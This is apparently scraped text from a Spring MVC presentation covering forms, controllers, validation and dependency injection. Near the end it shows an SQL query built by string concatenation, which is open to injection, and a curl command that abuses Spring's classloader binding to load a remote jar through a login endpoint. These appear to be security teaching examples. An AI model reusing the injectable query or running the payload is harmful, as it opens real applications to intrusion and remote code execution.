On Github jypma / spring-mvc-slides
Remind us again about:
Immutable (see advanced section)
@XmlRootElement(name = "TodoItem")
@XmlAccessorType(XmlAccessType.NONE)
public class TodoItem {
public static TodoItem create(String title) {
return new TodoItem(UUID.randomUUID(), title);
}
@XmlElement(name = "ID") private UUID id;
@NotBlank @XmlElement(name = "Title") private String title;
public String getTitle() { return title; }
public UUID getId() { return id; }
private TodoItem(UUID id, String title) { ... }
}
Creating/editing a todo item
<h3>Todo item</h3>
<form:form id="form" method="post" modelAttribute="item">
<form:hidden path="id"/>
<div>
<form:label path="title">
<spring:message code="item.title" />
</form:label>
<form:input path="title" placeholder="What needs to be done?" />
<form:errors path="title" />
</div>
<div><button type="submit" class="btn">Save</button></div>
</form:form>
@Controller @RequestMapping("/todos") public class CreateTodoController {
@ModelAttribute("item")
public TodoItem item() { return TodoItem.empty(); }
@RequestMapping(value="/create", method = GET)
public String showCreate() { return "/todo/create"; }
@RequestMapping(value="/create", method = POST)
public String createFromForm(@Valid @ModelAttribute("item") TodoItem item,
BindingResult result) {
if (result.hasErrors()) {
return showCreate();
} else {
todoService.save(item.withId());
return "redirect:/todos";
}
} }
Advantages
<spring:message code="item.title" />
Spring MVC
Server-side MVC in general
Spring MVC
Server-side MVC in general
Thank you
Jan Ypma ypma@lundogbendsen.dk
Jan Ypma ypma@lundogbendsen.dk
class Customer {
private String name;
public String getName() { return name; }
public void setName (String name) { this.name = name; }
/* many more fields and sub-objects */
}
Cache it! ... but what about those setters?
class Customer {
private String name;
private UUID id;
/* getters and setters for all fields */
}
public void save (Customer c);
class Customer {
public Customer changeName(String first, String last) {
return new Customer (first, last, id, /* ... other ... */ );
}
}
Request arrives, servlet picks controller Controller returns model and view name ViewResolver instantiates view from name View renders actual response
Integration between Spring MVC and Hibernate validator
NotBlank.item.title = Todo item must have a title
<form:errors path="title" />
public String handleCreate(@Valid Item item);
public String handleCreate(@Valid Item item, BindingResult errors);
1. Define your validation annotation
@Target( { METHOD, FIELD } )
@Retention(RUNTIME)
@Constraint(validatedBy = ExistingItemIDValidator.class)
public @interface ExistingItemID {
String message() default "{nl.ypmania.demo.ExistingItemID}";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2. Write the implementation
public class ExistingItemIDValidator
implements ConstraintValidator<ExistingItemID, UUID> {
@Autowired
private ItemService itemService;
@Override
public void initialize(ExistingItemID constraintAnnotation) { }
@Override
public boolean isValid(UUID id, ConstraintValidatorContext context) {
return (id == null) ? true : itemService.exists(id);
}
}
@Autowired private ItemService itemService;
private ItemService itemService;
@Autowired
public void setItemService(ItemService service) {
this.itemService = service;
}
private ItemService itemService;
@Autowired
public MyService (ItemService service) {
this.itemService = service;
}
Two easy ways to add processing around requests
Spring HandlerInterceptorjdbc.execute("SELECT FROM USERS WHERE name = '" + name +
"' AND password = '" + password + "'");
curl --data "class.classLoader.URLs[0]=jar:http://dl.com/dino.jar!/" \
http://mybank.com/login
Thank you
Jan Ypma ypma@lundogbendsen.dk